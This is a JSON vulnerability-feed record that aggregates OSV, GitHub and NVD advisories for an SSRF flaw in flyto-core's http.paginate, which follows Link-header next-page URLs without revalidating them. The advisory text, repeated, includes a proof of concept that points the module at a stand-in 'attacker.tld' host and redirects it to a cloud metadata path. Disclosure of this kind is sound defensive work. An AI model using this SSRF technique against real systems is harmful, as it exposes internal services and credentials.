{"vuln_id":"GHSA-2mr3-rxrq-238c","aliases":["CVE-2026-77315"],"description":"Flyto2 Core: http.paginate follows server-supplied next-page URLs (Link header / cursor) without SSRF revalidation","published_at":"2026-11-20T00:10:14Z","modified_at":"2026-11-20T00:15:06.376826Z","first_seen_at":"2026-11-21T19:15:19.327161Z","severity":"high","severity_source":"ghsa","cvss_score":8.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","cwe":["CWE-918"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":null,"epss_percentile":null,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://github.com/advisories/GHSA-2mr3-rxrq-238c"},"matched_alias":null,"items":[{"id":10684,"source":{"id":"osv","name":"OSV.dev"},"title":"GHSA-2mr3-rxrq-238c: Flyto2 Core: http.paginate follows server-supplied next-page URLs (Link header / cursor) without SSRF revalidation","summary":"Flyto2 Core: http.paginate follows server-supplied next-page URLs (Link header / cursor) without SSRF revalidation\n\n## Summary\n`http.paginate` validates only the initial `base_url`, then follows server-supplied pagination targets (RFC 5988 `Link: rel=\"next\"` headers, cursor/offset URLs) in a loop **without revalidating each follow-up URL**. An attacker's first-page response can point `next` at an internal address, causing a second-order SSRF whose internal body is aggregated into the returned items.\n\n## Root Cause\n`src/core/modules/atomic/http/paginate.py:495` validates `base_url` (first URL only). The pagination loop `_paginate_link_header` reads `next_url` via `_parse_link_header` (:203), sets `url=next_url` (:208), and calls `session.request(method, url)` (:196) with NO validate call in the loop (:186-208 has zero guard calls).\n\n## Impact\nReadable second-order SSRF that bypasses the SSRF control; internal/metadata body aggregated into `all_items` and returned to the caller (C:H, S:C).\n\n## Proof of Concept\nVerified live: `http.paginate` with allowlisted base `127.0.0.1` followed a `Link:\n; rel=\"next\"` (non-allowlisted) and returned `INTERNAL-NEXTPAGE-SECRET` in the aggregated items.\n```\nexecute_module http.paginate {\"url\":\"http://attacker.tld/p1\",\"strategy\":\"link_header\"}\nattacker p1 response header: Link:\n/latest/meta-data/>; rel=\"next\"\n```\n\n## Attack Chain\n1. Entry: `http.paginate {url:\"http://attacker.tld/p1\", strategy:\"link_header\"}`. Guard: `validate_url_with_env_config(base_url)` (paginate.py:495) — validates the FIRST url only.\n2. Sink: `_paginate_link_header` reads `next_url` (`_parse_link_header` :203), `url=next_url` (:208), `session.request(method,url)` (:196) — NO validate call in the loop. Bypass proof: only :495 validates; loop at :186-208 has zero guard calls.\n3. Impact: internal body aggregated into `all_items` and returned → readable second-order SSRF.\n\n## Bypass Evidence\nLive PoC followed a `Link` header into non-allowlisted loopback and returned the internal marker in aggregated results. Only `base_url` is validated; the follow loop never revalidates.\n\n## Affected Versions\n`<= 2.26.6` — `paginate.py:495` + loop present on latest release tag.\n\n## Suggested Fix\nRun every follow-up URL (Link header, cursor, offset target) through `validate_url_with_env_config` before fetching it inside the pagination loop.\n\n## Credit\n\nVulnerability discovered by zx (Jace).\n\nAffected: PyPI:flyto-core\n\nFixed in: 2.26.8\n\nReferences:\nhttps://github.com/flytohub/flyto-core/security/advisories/GHSA-2mr3-rxrq-238c\nhttps://github.com/flytohub/flyto-core/commit/bbb6f1cfec22fee1ea0e6ecf1129d7103c85e09f\nhttps://github.com/flytohub/flyto-core\nhttps://github.com/flytohub/flyto-core/releases/tag/v2.26.8","url":"https://osv.dev/vulnerability/GHSA-2mr3-rxrq-238c","published_at":"2026-11-20T00:10:14Z","updated_at":"2026-11-20T00:15:06.376826Z","fetched_at":"2026-11-21T19:15:55.946102Z","severity":"high","cvss_score":8.5,"epss":0.00375,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"flyto-core","vuln_id":"CVE-2026-77315","vuln_ids":["CVE-2026-77315","GHSA-2MR3-RXRQ-238C"],"tags":["osv","pypi","fix-available"],"cluster_id":2101,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/10684","html":"https://vulnwatch.ve1ve2.com/item/10684"}},{"id":2336,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-2mr3-rxrq-238c / CVE-2026-77315: Flyto2 Core: http.paginate follows server-supplied next-page URLs (Link header / cursor) without SSRF revalidation","summary":"Flyto2 Core: http.paginate follows server-supplied next-page URLs (Link header / cursor) without SSRF revalidation\n\n## Summary\n`http.paginate` validates only the initial `base_url`, then follows server-supplied pagination targets (RFC 5988 `Link: rel=\"next\"` headers, cursor/offset URLs) in a loop **without revalidating each follow-up URL**. An attacker's first-page response can point `next` at an internal address, causing a second-order SSRF whose internal body is aggregated into the returned items.\n\n## Root Cause\n`src/core/modules/atomic/http/paginate.py:495` validates `base_url` (first URL only). The pagination loop `_paginate_link_header` reads `next_url` via `_parse_link_header` (:203), sets `url=next_url` (:208), and calls `session.request(method, url)` (:196) with NO validate call in the loop (:186-208 has zero guard calls).\n\n## Impact\nReadable second-order SSRF that bypasses the SSRF control; internal/metadata body aggregated into `all_items` and returned to the caller (C:H, S:C).\n\n## Proof of Concept\nVerified live: `http.paginate` with allowlisted base `127.0.0.1` followed a `Link:\n; rel=\"next\"` (non-allowlisted) and returned `INTERNAL-NEXTPAGE-SECRET` in the aggregated items.\n```\nexecute_module http.paginate {\"url\":\"http://attacker.tld/p1\",\"strategy\":\"link_header\"}\nattacker p1 response header: Link:\n/latest/meta-data/>; rel=\"next\"\n```\n\n## Attack Chain\n1. Entry: `http.paginate {url:\"http://attacker.tld/p1\", strategy:\"link_header\"}`. Guard: `validate_url_with_env_config(base_url)` (paginate.py:495) — validates the FIRST url only.\n2. Sink: `_paginate_link_header` reads `next_url` (`_parse_link_header` :203), `url=next_url` (:208), `session.request(method,url)` (:196) — NO validate call in the loop. Bypass proof: only :495 validates; loop at :186-208 has zero guard calls.\n3. Impact: internal body aggregated into `all_items` and returned → readable second-order SSRF.\n\n## Bypass Evidence\nLive PoC followed a `Link` header into non-allowlisted loopback and returned the internal marker in aggregated results. Only `base_url` is validated; the follow loop never revalidates.\n\n## Affected Versions\n`<= 2.26.6` — `paginate.py:495` + loop present on latest release tag.\n\n## Suggested Fix\nRun every follow-up URL (Link header, cursor, offset target) through `validate_url_with_env_config` before fetching it inside the pagination loop.\n\n## Credit\n\nVulnerability discovered by zx (Jace).\n\nAffected packages: pip:flyto-core\nPatched: flyto-core 2.26.8","url":"https://github.com/advisories/GHSA-2mr3-rxrq-238c","published_at":"2026-11-20T00:10:14Z","updated_at":"2026-11-20T00:10:15Z","fetched_at":"2026-11-21T19:15:18.416759Z","severity":"high","cvss_score":8.5,"epss":0.00375,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"flyto-core","vuln_id":"CVE-2026-77315","vuln_ids":["CVE-2026-77315","GHSA-2MR3-RXRQ-238C"],"tags":["ghsa","pip","CWE-918"],"cluster_id":2101,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2336","html":"https://vulnwatch.ve1ve2.com/item/2336"}},{"id":9328,"source":{"id":"nvd","name":"NVD CVE API 2.0"},"title":"CVE-2026-77315: Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.8, http.paginate in src/core/modules/atomic/http/paginate.py validates…","summary":"Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.8, http.paginate in src/core/modules/atomic/http/paginate.py validates only the initial base_url, and _paginate_link_header then follows a server-supplied Link: rel=\"next\" URL without calling the SSRF guard again. A low-privileged caller can make an allowed first page point the next request at an internal or metadata service, causing a readable second-order SSRF whose response body is aggregated into all_items and returned. This issue is fixed in version 2.26.8.\n\nReferences:\nhttps://github.com/flytohub/flyto-core/commit/bbb6f1cfec22fee1ea0e6ecf1129d7103c85e09f\nhttps://github.com/flytohub/flyto-core/releases/tag/v2.26.8\nhttps://github.com/flytohub/flyto-core/security/advisories/GHSA-2mr3-rxrq-238c","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77315","published_at":"2026-11-19T22:18:44.470000Z","updated_at":"2026-11-20T18:18:56.007000Z","fetched_at":"2026-11-21T19:15:31.484932Z","severity":"high","cvss_score":8.5,"epss":0.00375,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":null,"vuln_id":"CVE-2026-77315","vuln_ids":["CVE-2026-77315","GHSA-2MR3-RXRQ-238C"],"tags":["CWE-918"],"cluster_id":2102,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/9328","html":"https://vulnwatch.ve1ve2.com/item/9328"}}]}